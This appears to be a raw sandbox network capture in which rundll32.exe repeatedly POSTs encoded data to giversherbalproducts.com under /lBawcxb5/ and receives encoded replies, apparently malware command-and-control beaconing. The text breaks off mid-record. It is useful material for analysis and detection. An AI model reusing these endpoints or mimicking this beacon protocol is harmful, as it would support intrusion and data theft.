Oct 4, 2021 16:02:15.765755892 CEST	7099	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.3	49962	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:15.535835028 CEST	7096	OUT	POST /lBawcxb5/PA8IAXYfekJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:16.008814096 CEST	7102	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.3	49966	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:16.132108927 CEST	7105	OUT	POST /lBawcxb5/cyQbHQclOjsWPj9+fno6BSIqDQ4RfS4GPhMQQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:16.629178047 CEST	7111	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:16 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.3	49968	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:16.352236032 CEST	7107	OUT	POST /lBawcxb5/In19HiAhAiA8DHJzAh58HDkCASt4IAA5GEJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:16.835743904 CEST	7111	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:16 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.3	49970	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:17.031524897 CEST	7112	OUT	POST /lBawcxb5/PA8IAXYfekJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:17.493743896 CEST	7120	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.3	49971	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:17.134639025 CEST	7113	OUT	POST /lBawcxb5/Gzk8CR0kCUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:17.591219902 CEST	7121	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49767	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:15.376029968 CEST	1062	OUT	POST /lBawcxb5/EgwECwQhMhk+BQkuH38nHQUtIy4GLwpFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:15.924535036 CEST	1064	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.3	49973	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:17.946556091 CEST	7122	OUT	POST /lBawcxb5/In19HiAhAiA8DHJzAh58HDkCASt4IAA5GEJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:18.426333904 CEST	7123	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.3	49974	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:17.962421894 CEST	7122	OUT	POST /lBawcxb5/JQ97PA4nI3IBJH06MhYrCggCC0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:18.444649935 CEST	7124	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.3	49975	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:18.766048908 CEST	7125	OUT	POST /lBawcxb5/Chk4ARV9Px4pBwEgcxk7fTkYGQBCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:19.250952005 CEST	7126	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 